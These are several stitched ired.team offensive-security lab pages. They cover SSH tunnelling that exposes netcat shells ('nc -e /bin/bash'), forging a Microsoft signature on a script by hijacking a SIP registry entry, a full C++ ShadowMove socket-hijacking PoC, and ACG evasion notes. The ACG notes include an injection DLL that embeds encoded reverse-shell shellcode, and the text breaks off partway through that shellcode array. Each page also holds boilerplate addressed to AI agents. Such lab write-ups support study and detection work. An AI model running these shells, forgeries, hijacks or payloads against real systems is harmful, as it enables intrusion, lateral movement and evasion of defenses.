Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/persistence/dll-proxying-for-persistence.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/lateral-movement/ssh-tunnelling-port-forwarding.md). # SSH Tunnelling / Port Forwarding ## SSH: Local Port Forwarding If you are on the network that restricts you from establishing certain connections to the outside world, local port forwarding allows you to bypass this limitation. \\ \\ For example, if you have a host that you want to access, but the egress firewall won't allow it, do this: \`\`\`csharp ssh -L 127.0.0.1:9999:REMOTE\_HOST:PORT user@SSH\_SERVER \`\`\` You can now sent traffic to 127.0.0.1:9999 on your localhost and that traffic will flow through the SSH\\\_SERVER to REMOTE\\\_HOST:PORT. Let's see with a real example. #### On machine 10.0.0.5 \`\`\`csharp ssh -L9999:10.0.0.12:4444 root@10.0.0.12 -N -f \`\`\` The above says: bind on a local port 9999 (on a host 10.0.0.5). Listen for any traffic coming to that port 9999 (i.e 127.0.0.1:9999 or 10.0.0.5:9999) and forward it all that to the port 4444 on host 10.0.0.12: We can see that the 127.0.0.1:9999 is now indeed listening: !\[\](/files/-LODqxLZS5JUW7x5ZoSO) #### On machine 10.0.0.12 Machine 10.0.0.12 is listening on port 4444 - it is ready to give a reverse shell to whoever joins: !\[\](/files/-LODq6pwu9PbrUMisi7I) #### On machine 10.0.0.5 Since the machine is listening on 127.0.0.1:9999, let's netcat it - this should give us a reverse shell from 10.0.0.12:4444: !\[\](/files/-LODq8C1T3dqgbRRsNat) The above indeed shows that we got a reverse shell from 10.0.0.12 and the local tunnel worked. ## SSH: Remote Port Forwarding Remote port forwarding helps in situations when you have compromised a box that has a service running on a port bound to 127.0.0.1, but you want to access that service from outside. In other words, remote port forwarding exposes an obscured port (bound to localhost) so that it can be reached from outside through the SSH tunnel. Pseudo syntax for creating remote port forwarding with ssh tunnels is: \`\`\`csharp ssh -R 5555:LOCAL\_HOST:4444 user@SSH\_SERVER \`\`\` The above suggests that any traffic sent to port 5555 on SSHSERVER will be forwarded to the port 4444 on the LOCALHOST - the host that runs the service that is only accessible from inside that host. In other words, service on port 4444 on LOCALHOST will now be exposed through the SSHSERVER's port 5555. Let's see an example. #### On machine 10.0.0.12 Let's create a reverse shell listener bound to 127.0.0.1 (not reachable to hosts from outside) on port 4444: \`\`\`csharp nc -lp 4444 -s 127.0.0.1 -e /bin/bash & ss -lt \`\`\` !\[\](/files/-LODzyzJLk2dDpC7YJst) Now, let's open a tunnel to 10.0.0.5 and create remote port forwarding by exposing the port 4444 for the host 10.0.0.5: \`\`\`csharp ssh -R5555:localhost:4444 root@10.0.0.5 -fN \`\`\` The above says: bind a port 5555 on 10.0.0.5 and make sure that any traffic sent to port 5555 on 10.0.0.5, gets forwarded to a service listening on localhost:4444 on to this box (10.0.0.12). #### On machine 10.0.0.5 Indeed, we can see a port 5555 got opened up on 10.0.0.5 as part of the tunnel creation: !\[\](/files/-LODyggbXb3AdRJLYGQJ) Let's try sending some traffic to 127.0.0.1:5555 - this should give us a reverse shell from the 10.0.0.12:4444 - which it did: !\[\](/files/-LODzYg2k\_3j4XpkPh9a) ## SSH: Dynamic Port Forwarding Pseudo syntax for creating dynamic port forwarding: \`\`\`csharp ssh -D 127.0.0.1:9090 user@SSH\_SERVER \`\`\` The above essentially means: bind port 9090 on localhost and any traffic that gets sent to this port, please relay it to the SSH\\\_SERVER - I trust it to make the connections for me. For the demo, let's check what is our current IP before the dynamic port forwarding is set up: !\[\](/files/-LOE8\_b8qaXCq0nlC3av) Creating an ssh tunnel to 159.65.200.10 and binding port 9090 on the local machine 10.0.0.5: \`\`\`csharp ssh -D9090 root@159.65.200.10 \`\`\` !\[\](/files/-LOE8ig1mWPKiR1BobGE) Checking network connections on the localhost 10.0.0.5, we can see that the port 9090 is now listening: !\[\](/files/-LOE8pOOIHfpAXiLK7WV) This means that if we send any traffic to 127.0.0.1:9090, that traffic will be sent to the hosts on the other end of the ssh tunnel - 159.65.200.10 and then the host 159.65.200.10 will make connections to other hosts on behalf of the host 10.0.0.5. It will return any data it receives back to the originating host 10.0.0.5. To test this, we can set our browser to use a socks5 proxy server 127.0.0.1:9090 like so: !\[\](/files/-LOE9IsZXGqcgDmsUqQm) If we check what our IP is again, it is obvious that we are now indeed masquerading the internet as 159.65.200.10: !\[\](/files/-LOE9S48YbvMCZ2Fyfhp) {% hint style="info" %} Dynamic port forwarding plays along nicely with ProxyChains. {% endhint %} ## References {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/lateral-movement/ssh-tunnelling-port-forwarding.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/persistence/t1198-trust-provider-hijacking.md). # SIP & Trust Provider Hijacking In this lab, I will try to sign a simple "rogue" powershell script \`test-forged.ps1\` that only has one line of code, with \*\*Microsoft's\*\* certificate and bypass any whitelisting protections/policies the script may be subject to if it is not signed. ## Execution The script that I will try to sign: !\[\](/files/-LIwE7eN9lnY4Dpj8jAX) Just before I start, let's make sure that the script is not signed by using a \`Get-AuthenticodeSignature\` cmdlet and \`sigcheck\` by SysInternals: !\[\](/files/-LIwFYiVJlbx7OKNMzjt) In order to sign the script with Microsoft's certificate, we need to first find a native Microsoft Signed PowerShell script. I used powershell for this: \`\`\`csharp Get-ChildItem -Path C:\\\*.ps\* -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "# SIG # Begin signature block" \`\`\` !\[\](/files/-LIwBNvbNZVgxLTilLNr) I chose one script at random and simply checked if it was signed - luckily it was: \`\`\`bash type C:\\Windows\\WinSxS\\x86\_microsoft-windows-m..ell-cmdlets-modules\_31bf3856ad364e35\_10.0.16299.15\_none\_c7c20f51cd336675\\Wdac.psd1 \`\`\` !\[\](/files/-LIwBgYUNAV3fXG\_BbwI) Let's copy the Microsoft signature block to my script: !\[\](/files/-LIwEiVim5jHr0cNp2zy) Now let's modify registry at: \`\`\` HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{603BCC1F-4B59-4E08-B724-D2C6297EF351} \`\`\` From: !\[\](/files/-LIwGRdEtj9rGWOXewtL) To: {% code title="DLL" %} \`\`\`csharp C:\\Windows\\System32\\ntdll.dll \`\`\` {% endcode %} {% code title="FuncName" %} \`\`\` DbgUIContinue \`\`\` {% endcode %} !\[\](/files/-LIwGRdMiyoMCjLnYiOI) Now, let's launch a new powershell instance (for the registry changes to take effect) and check the signature of the forged script - note how it now shows as signed, verified and valid: !\[\](/files/-LIwJuas1sFFCQdmTElF) ## Observations Monitoring the following registry keys/values helps discover this suspicious activity: !\[\](/files/-LIwNVODjW9jTKyYx0jg) !\[\](/files/-LIwNVOHgHXnwKTzw11R) ## References For all the registry keys/values that should be used as a baseline, please refer to the original research whitepaper by Matt Graeber: \\ \[SpecterOps Subverting Trust inWindows\](https://specterops.io/assets/resources/SpecterOps\_Subverting\_Trust\_in\_Windows.pdf) {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/persistence/t1198-trust-provider-hijacking.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/lateral-movement/shadowmove-lateral-movement-by-stealing-duplicating-existing-connected-sockets.md). # ShadowMove: Lateral Movement by Duplicating Existing Sockets \[ShadowMove\](https://www.usenix.org/system/files/sec20summer\_niakanlahiji\_prepub.pdf) (original paper by researchers Amirreza Niakanlahiji, Jinpeng Wei, Md Rabbi Alam, Qingyang Wang and Bei-Tseng Chu, go check it for full details) is a lateral movement technique that works by stealing (duplicating) an existing socket connected to a remote host, from a running process on a system an adversary has compromised. This is a quick lab to familiarize with the technique, while using the PoC by \[Juan Manuel Fernández\](https://www.twitter.com/@TheXC3LL) which he provided in his \[post\](https://adepts.of0x.cc/shadowmove-hijack-socket/). ## Overview The below is a simplified diagram showing how the technique works and how I tested it in my lab: !\[Source and Target hosts communicating using ShadowMove technique\](/files/-MSOMsdZURKa7esd13Bc) Let's see what we have in the above diagram: 1. On the left, we have a compromised host (for example, we landed on this host by means of a successful phish) \`192.168.1.117\` - this is the source host from which we want to move laterally to the target host \`192.168.56.102\`. 2. On the right, we have the target host \`192.168.56.102,\` which has a listening socket on TCP port 80, by means of running \`nc -lvp 80\` 3. Source host \`192.168.1.117\` has an established connection to the target host \`192.168.56.102:80\` via nc.exe. 4. On the source host, there's \`ShadowMove.exe\` process running - this is the process that executes the ShadowMove lateral movement technique. Note that it does not establish any connections to remote hosts at any point in time during its lifetime - this is the beauty of the technique. 5. On the source host, \`ShadowMove.exe\` enumerates all handles \`nc.exe\` has opened and looks for handles to \`\\Device\\Afd\`, which are used for network socket communications. Once found, the handle is used to create a duplicate socket with \`WSADuplicateSocketW\` and \`WSASocket\` API calls. Once the shared socket is created, \`getpeername\` is used to check if the destination address of the socket is that of target host's IP address, which in our case is \`192.168.56.102\`. 6. Once the shared socket is created based on the \`\\Device\\Afd\` handle pointing to the target host, as found in step 5, \`ShadowMove.exe\` can now write to that socket with \`send\` and read from it with \`recv\` API calls. {% hint style="warning" %} It's important to stress once more, the ShadowMove.exe \*\*does not\*\* \*\*create any TCP connections to the target host.\*\* Instead, it reuses the existing connected socket to \`192.168.56.102:80\` between the source and target host, that was established by the nc.exe process on the source system - and this is the key point of this lateral movement technique. {% endhint %} ## Code Below is the code \[written\](https://adepts.of0x.cc/shadowmove-hijack-socket/) by \[Juan Manuel Fernández\](https://www.twitter.com/@TheXC3LL) which I modified slightly, so that it would compile without errors in my development environment with Visual Studio 2019: \`\`\`cpp // PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL) #define \_WINSOCK\_DEPRECATED\_NO\_WARNINGS #include #include #include #pragma comment(lib,"WS2\_32") // Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp #define STATUS\_INFO\_LENGTH\_MISMATCH 0xc0000004 #define SystemHandleInformation 16 #define ObjectNameInformation 1 typedef NTSTATUS(NTAPI\* \_NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS(NTAPI\* \_NtDuplicateObject)( HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS\_MASK DesiredAccess, ULONG Attributes, ULONG Options ); typedef NTSTATUS(NTAPI\* \_NtQueryObject)( HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength ); typedef struct \_SYSTEM\_HANDLE { ULONG ProcessId; BYTE ObjectTypeNumber; BYTE Flags; USHORT Handle; PVOID Object; ACCESS\_MASK GrantedAccess; } SYSTEM\_HANDLE, \* PSYSTEM\_HANDLE; typedef struct \_SYSTEM\_HANDLE\_INFORMATION { ULONG HandleCount; SYSTEM\_HANDLE Handles\[1\]; } SYSTEM\_HANDLE\_INFORMATION, \* PSYSTEM\_HANDLE\_INFORMATION; typedef struct \_UNICODE\_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE\_STRING, \* PUNICODE\_STRING; typedef enum \_POOL\_TYPE { NonPagedPool, PagedPool, NonPagedPoolMustSucceed, DontUseThisType, NonPagedPoolCacheAligned, PagedPoolCacheAligned, NonPagedPoolCacheAlignedMustS } POOL\_TYPE, \* PPOOL\_TYPE; typedef struct \_OBJECT\_NAME\_INFORMATION { UNICODE\_STRING Name; } OBJECT\_NAME\_INFORMATION, \* POBJECT\_NAME\_INFORMATION; PVOID GetLibraryProcAddress(const char \*LibraryName, const char \*ProcName) { return GetProcAddress(GetModuleHandleA(LibraryName), ProcName); } SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) { HANDLE hProc; PSYSTEM\_HANDLE\_INFORMATION handleInfo; DWORD handleInfoSize = 0x10000; NTSTATUS status; DWORD returnLength; WSAPROTOCOL\_INFOW wsaProtocolInfo = { 0 }; SOCKET targetSocket; // Open target process with PROCESS\_DUP\_HANDLE rights hProc = OpenProcess(PROCESS\_DUP\_HANDLE, FALSE, dwProcessId); if (!hProc) { printf("\[!\] Error: could not open the process!\\n"); exit(-1); } printf("\[+\] Handle to process obtained!\\n"); // Find the functions \_NtQuerySystemInformation NtQuerySystemInformation = (\_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation"); \_NtDuplicateObject NtDuplicateObject = (\_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject"); \_NtQueryObject NtQueryObject = (\_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject"); // Retrieve handles from the target process handleInfo = (PSYSTEM\_HANDLE\_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS\_INFO\_LENGTH\_MISMATCH) handleInfo = (PSYSTEM\_HANDLE\_INFORMATION)realloc(handleInfo, handleInfoSize \*= 2); printf("\[+\] Found \[%d\] handles in PID %d\\n============================\\n", handleInfo->HandleCount, dwProcessId); // Iterate for (DWORD i = 0; i < handleInfo->HandleCount; i++) { // Check if it is the desired type of handle if (handleInfo->Handles\[i\].ObjectTypeNumber == 0x24) { SYSTEM\_HANDLE handle = handleInfo->Handles\[i\]; HANDLE dupHandle = NULL; POBJECT\_NAME\_INFORMATION objectNameInfo; // Duplicate handle NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS\_ALL\_ACCESS, FALSE, DUPLICATE\_SAME\_ACCESS); objectNameInfo = (POBJECT\_NAME\_INFORMATION)malloc(0x1000); // Get handle info NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength); // Narow the search checking if the name length is correct (len(\\Device\\Afd) == 11 \* 2) if (objectNameInfo->Name.Length == 22) { printf("\[-\] Testing %d of %d\\n", i, handleInfo->HandleCount); // Check if it ends in "Afd" LPWSTR needle = (LPWSTR)malloc(8); memcpy(needle, objectNameInfo->Name.Buffer + 8, 6); if (needle\[0\] == 'A' && needle\[1\] == 'f' && needle\[2\] == 'd') { // We got a candidate printf("\\t\[\*\] \\\\Device\\\\Afd found at %d!\\n", i); // Try to duplicate the socket status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo); if (status != 0) { printf("\\t\\t\[X\] Error duplicating socket!\\n"); free(needle); free(objectNameInfo); CloseHandle(dupHandle); continue; } // We got it? targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA\_FLAG\_OVERLAPPED); if (targetSocket != INVALID\_SOCKET) { struct sockaddr\_in sockaddr; DWORD len; len = sizeof(SOCKADDR\_IN); // It this the socket? if (getpeername(targetSocket, (SOCKADDR\*)&sockaddr, (int\*)&len) == 0) { if (strcmp(inet\_ntoa(sockaddr.sin\_addr), dstIP) == 0) { printf("\\t\[\*\] Duplicated socket (%s)\\n", inet\_ntoa(sockaddr.sin\_addr)); free(needle); free(objectNameInfo); return targetSocket; } } } free(needle); } } free(objectNameInfo); } } return 0; } int main(int argc, char\*\* argv) { WORD wVersionRequested; WSADATA wsaData; DWORD dwProcessId; LPSTR dstIP = NULL; SOCKET targetSocket; char buff\[255\] = { 0 }; printf("\\t\\t\\t-=\[ ShadowMove Gateway PoC \]=-\\n\\n"); // smgateway.exe \[PID\] \[IP dst\] /\* It's just a PoC, we do not validate the args. But at least check if number of args is right X) \*/ if (argc != 3) { printf("\[!\] Error: syntax is %s \[PID\] \[IP dst\]\\n", argv\[0\]); exit(-1); } dwProcessId = strtoul(argv\[1\], NULL, 10); dstIP = (LPSTR)malloc(strlen(argv\[2\]) \* (char)+1); memcpy(dstIP, argv\[2\], strlen(dstIP)); // Classic wVersionRequested = MAKEWORD(2, 2); WSAStartup(wVersionRequested, &wsaData); targetSocket = findTargetSocket(dwProcessId, dstIP); send(targetSocket, "hello from shadowmove and reused socket!\\n", strlen("hello from shadowmove and reused socket!\\n"), 0); recv(targetSocket, buff, 255, 0); printf("\\n\[\*\] Message from target to shadowmove:\\n\\n %s\\n", buff); return 0; } \`\`\` ## Demo Once we have compiled the above code, we can test the technique as it was described earlier in our \[diagram\](/offensive-security/lateral-movement/shadowmove-lateral-movement-by-stealing-duplicating-existing-connected-sockets.md#overview). Below highlighted are key aspects of the demo: \* In the top right corner, there's a target system \`192.168.56.102\` with \`nc\` listening on port \`80\`. \* In the top left corner, there's a compromised (source) system and \`nc.exe\` establishing a connection to target host \`192.168.56.102:80\`. \* In the bottom left corner, there's \`ShadowMove.exe\` running on the source system, which enumerates handles of the \`nc.exe\` running on the source system, finds a socket that is connected to \`192.168.56.102:80\` (target system), duplicates it and writes \`hello from shadowmove and reused socket!\` to it, which is then received on the target system (top right). \* Target system (top right) writes back to the same socket \`hello from target to shadowmove\`, which is received by \`shadowmove.exe\` on the source system (bottom left). \* In the bottom right, we see a \`ProcessHacker\` that shows that at no point in time \`shadowmove.exe\` establishes no TCP connections. !\[Demo: ShadowMove Lateral Movement in Action\](/files/-MSOZwzM4cNrVV9wUUa4) ## References {% embed url="" %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the \`ask\` query parameter, and the optional \`goal\` query parameter: \`\`\` GET https://www.ired.team/offensive-security/lateral-movement/shadowmove-lateral-movement-by-stealing-duplicating-existing-connected-sockets.md?ask=&goal= \`\`\` \`ask\` is the immediate question: it should be specific, self-contained, and written in natural language. \`goal\` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://www.ired.team/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://www.ired.team/offensive-security/defense-evasion/acg-arbitrary-code-guard-processdynamiccodepolicy.md). # ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG) I first learned about \`ProcessDynamicCodePolicy\` in \[Adam Chester's\](https://twitter.com/\_xpn\_) great post and this is a quick lab to play around with it. \`ProcessDynamicCodePolicy\` prevents the process from generating dynamic code or modifying existing executable code. \`ProcessDynamicCodePolicy\` is also sometimes called Arbitrary Code Guard (ACG): > With ACG enabled, the Windows kernel prevents a content process from creating and modifying code pages in memory by enforcing the following policy: > > 1. \*\*Code pages are immutable\*\*. Existing code pages cannot be made writable and therefore always have their intended content. This is enforced with additional checks in the memory manager that prevent code pages from becoming writable or otherwise being modified by the process itself. For example, it is no longer possible to use VirtualProtect to make an image code page become PAGE\\\_EXECUTE\\\_READWRITE. > 2. \*\*New, unsigned code pages cannot be created\*\*. For example, it is no longer possible to use VirtualAlloc to create a new PAGE\\\_EXECUTE\\\_READWRITE code page. > > Enabling \`ProcessDynamicCodePolicy\` on your malware \*\*may be useful for protecting it from EDR solutions\*\* that hook userland API functions in order to inspect programs' intents. EDRs will usually install hooks by injecting their DLL(s) into processes they want to monitor. Related notes \[Preventing 3rd Party DLLs from Injecting into your Malware\](/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes.md) about another process mitigation policy that prevents non-Microsoft signed binaries from being loaded into processes. ## Enabling ACG We can enable the ACG mitigation policy for a local process with the following code: {% code title="mitigationpolicy.cpp" %} \`\`\`cpp #include #include int main() { PROCESS\_MITIGATION\_DYNAMIC\_CODE\_POLICY dcp = {}; dcp.ProhibitDynamicCode = 1; SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &dcp, sizeof(dcp)); } \`\`\` {% endcode %} We can check the ACG policy is applied with Process Hacker: !\[mitigationpolicy.exe is running with ACG policy enabled\](/files/-M07uxDY3gacJy7kYaF-) ## Injecting a DLL into ACG Enabled Process Now that we have a process that is running with Arbitrary Code Guard enabled, we can try to inject a DLL that attempts to write shellcode (simple reverse shell) to the injected process's memory and execute it and we will see that ACG will neutralize this attempt. Below shows how our malicious \`injectorDllShellcode.dll\` is being injected into the ACG enabled process \`mitigationpolicy.exe\`, but never gets loaded - \*\*Load Image\*\* event in Procmon is missing and the reverse shell is never returned: !\[ACG prevents dynamic code execution, shellcode not executed\](/files/-M08SWKUElZhze\_2Q4Ir) To prove that the DLL works - below is a gif showing how the \`mitigationpolicy.exe\` is launched with the ACG policy switched off: !\[shellcode is executed and reverse shell is returned\](/files/-M08Rc3K2r7Ivj5W13SO) ...procmon shows that \`injectorDllShellcode.dll\` was loaded this time: !\[\](/files/-M08RqYLy5Y6sr9egtzW) ## Injecting Shellcode into ACG Enabled Process Although the ACG in \`mitigationpolicy.exe\` neutralized our malicious \`injectorDllShellcode\` DLL that attempted to allocate RWX memory, write shellcode there and execute it, \*\*ACG still does not prevent\*\* remote processes from allocating memory, writing and executing shellcode directly (as apposed to doing it from an injected DLL) to the ACG enabled process using \`VirtualAllocEx\` and \`WriteProcessMemory\` APIs. Repeating: {% hint style="warning" %} Remotes processes (i.e EDRs) could use \`VirtualAllocEx\` and \`WriteProcessMemory\`to write and execute shellcode in an ACG enabled process rendering ACG useless. {% endhint %} Below shows that indeed it's still possible for a remote process to inject shellcode to a process protected with ACG: \* mitigationpolicy.exe is my program running with \`ProcessDynamicCodePolicy\` enabled \* injector.exe (remote process in this context) is a shellcode injector that will inject shellcode into ACG enabled mitigationpolicy.exe with PID 7752 !\[once injector is run against mitigationpolicy.exe, shellcode is executed\](/files/-M08Ds8rAoW0RXqfT2ZX) At first, I was confused as to why this was possible, but \[@\\\_xpn\\\_\](https://twitter.com/\_xpn\_) suggested that ACG's primary purpose was to: "...stop exploit chains where the first step of ROP was to set a page RWX and then write further shellcode to that page..." and suddenly it all made sense. ## Updates After posting these notes on twitter, I got some replies that I wanted to highlight here: !\[\](/files/-M0ABj07VG90Lg4oO-w8) ## Code {% tabs %} {% tab title="mitigationpolicy.exe" %} \`\`\`cpp #include #include int main() { PROCESS\_MITIGATION\_DYNAMIC\_CODE\_POLICY dcp = {}; dcp.ProhibitDynamicCode = 1; SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &dcp, sizeof(dcp)); while (true) { Sleep(1000 \* 2); } return 0; } \`\`\` {% endtab %} {% tab title="injectorDllShellcode.dll" %} \`\`\`cpp BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul\_reason\_for\_call, LPVOID lpReserved ) { switch (ul\_reason\_for\_call) { case DLL\_PROCESS\_ATTACH: { unsigned char shellcode\[\] = "\\x48\\x31\\xc9\\x48\\x81\\xe9\\xc6\\xff\\xff\\xff\\x48\\x8d\\x05\\xef\\xff" "\\xff\\xff\\x48\\xbb\\x1d\\xbe\\xa2\\x7b\\x2b\\x90\\xe1\\xec\\x48\\x31\\x58" "\\x27\\x48\\x2d\\xf8\\xff\\xff\\xff\\xe2\\xf4\\xe1\\xf6\\x21\\x9f\\xdb\\x78" "\\x21\\xec\\x1d\\xbe\\xe3\\x2a\\x6a\\xc0\\xb3\\xbd\\x4b\\xf6\\x93\\xa9\\x4e" "\\xd8\\x6a\\xbe\\x7d\\xf6\\x29\\x29\\x33\\xd8\\x6a\\xbe\\x3d\\xf6\\x29\\x09" "\\x7b\\xd8\\xee\\x5b\\x57\\xf4\\xef\\x4a\\xe2\\xd8\\xd0\\x2c\\xb1\\x82\\xc3" "\\x07\\x29\\xbc\\xc1\\xad\\xdc\\x77\\xaf\\x3a\\x2a\\x51\\x03\\x01\\x4f\\xff" "\\xf3\\x33\\xa0\\xc2\\xc1\\x67\\x5f\\x82\\xea\\x7a\\xfb\\x1b\\x61\\x64\\x1d" "\\xbe\\xa2\\x33\\xae\\x50\\x95\\x8b\\x55\\xbf\\x72\\x2b\\xa0\\xd8\\xf9\\xa8" "\\x96\\xfe\\x82\\x32\\x2a\\x40\\x02\\xba\\x55\\x41\\x6b\\x3a\\xa0\\xa4\\x69" "\\xa4\\x1c\\x68\\xef\\x4a\\xe2\\xd8\\xd0\\x2c\\xb1\\xff\\x63\\xb2\\x26\\xd1" "\\xe0\\x2d\\x25\\x5e\\xd7\\x8a\\x67\\x93\\xad\\xc8\\x15\\xfb\\x9b\\xaa\\x5e" "\\x48\\xb9\\xa8\\x96\\xfe\\x86\\x32\\x2a\\x40\\x87\\xad\\x96\\xb2\\xea\\x3f" "\\xa0\\xd0\\xfd\\xa5\\x1c\\x6e\\xe3\\xf0\\x2f\\x18\\xa9\\xed\\xcd\\xff\\xfa" "\\x3a\\x73\\xce\\xb8\\xb6\\x5c\\xe6\\xe3\\x22\\x6a\\xca\\xa9\\x6f\\xf1\\x9e" "\\xe3\\x29\\xd4\\x70\\xb9\\xad\\x44\\xe4\\xea\\xf0\\x39\\x79\\xb6\\x13\\xe2" "\\x41\\xff\\x32\\x95\\xe7\\x92\\xde\\x42\\x8d\\x90\\x7b\\x2b\\xd1\\xb7\\xa5" "\\x94\\x58\\xea\\xfa\\xc7\\x30\\xe0\\xec\\x1d\\xf7\\x2b\\x9e\\x62\\x2c\\xe3" "\\xec\\x1c\\x05\\xa8\\x7b\\x2b\\x95\\xa0\\xb8\\x54\\x37\\x46\\x37\\xa2\\x61" "\\xa0\\x56\\x51\\xc9\\x84\\x7c\\xd4\\x45\\xad\\x65\\xf7\\xd6\\xa3\\x7a\\x2b" "\\x90\\xb8\\xad\\xa7\\x97\\x22\\x10\\x2b\\x6f\\x34\\xbc\\x4d\\xf3\\x93\\xb2" "\\x66\\xa1\\x21\\xa4\\xe2\\x7e\\xea\\xf2\\xe9\\xd8\\x1e\\x2c\\x55\\x37\\x63" "\\x3a\\x91\\x7a\\xee\\x33\\xfd\\x41\\x77\\x33\\xa2\\x57\\x8b\\xfc\\x5c\\xe6" "\\xee\\xf2\\xc9\\xd8\\x68\\x15\\x5c\\x04\\x3b\\xde\\x5f\\xf1\\x1e\\x39\\x55" "\\x3f\\x66\\x3b\\x29\\x90\\xe1\\xa5\\xa5\\xdd\\xcf\\x1f\\x2b\\x90\\xe1\\xec" "\\x1d\\xff\\xf2\\x3a\\x7b\\xd8\\x68\\x0e\\x4a\\xe9\\xf5\\x36\\x1a\\x50\\x8b" "\\xe1\\x44\\xff\\xf2\\x99\\xd7\\xf6\\x26\\xa8\\x39\\xea\\xa3\\x7a\\x63\\x1d" "\\xa5\\xc8\\x05\\x78\\xa2\\x13\\x63\\x19\\x07\\xba\\x4d\\xff\\xf2\\x3a\\x7b" "\\xd1\\xb1\\xa5\\xe2\\x7e\\xe3\\x2b\\x62\\x6f\\x29\\xa1\\x94\\x7f\\xee\\xf2" "\\xea\\xd1\\x5b\\x95\\xd1\\x81\\x24\\x84\\xfe\\xd8\\xd0\\x3e\\x55\\x41\\x68" "\\xf0\\x25\\xd1\\x5b\\xe4\\x9a\\xa3\\xc2\\x84\\xfe\\x2b\\x11\\x59\\xbf\\xe8" 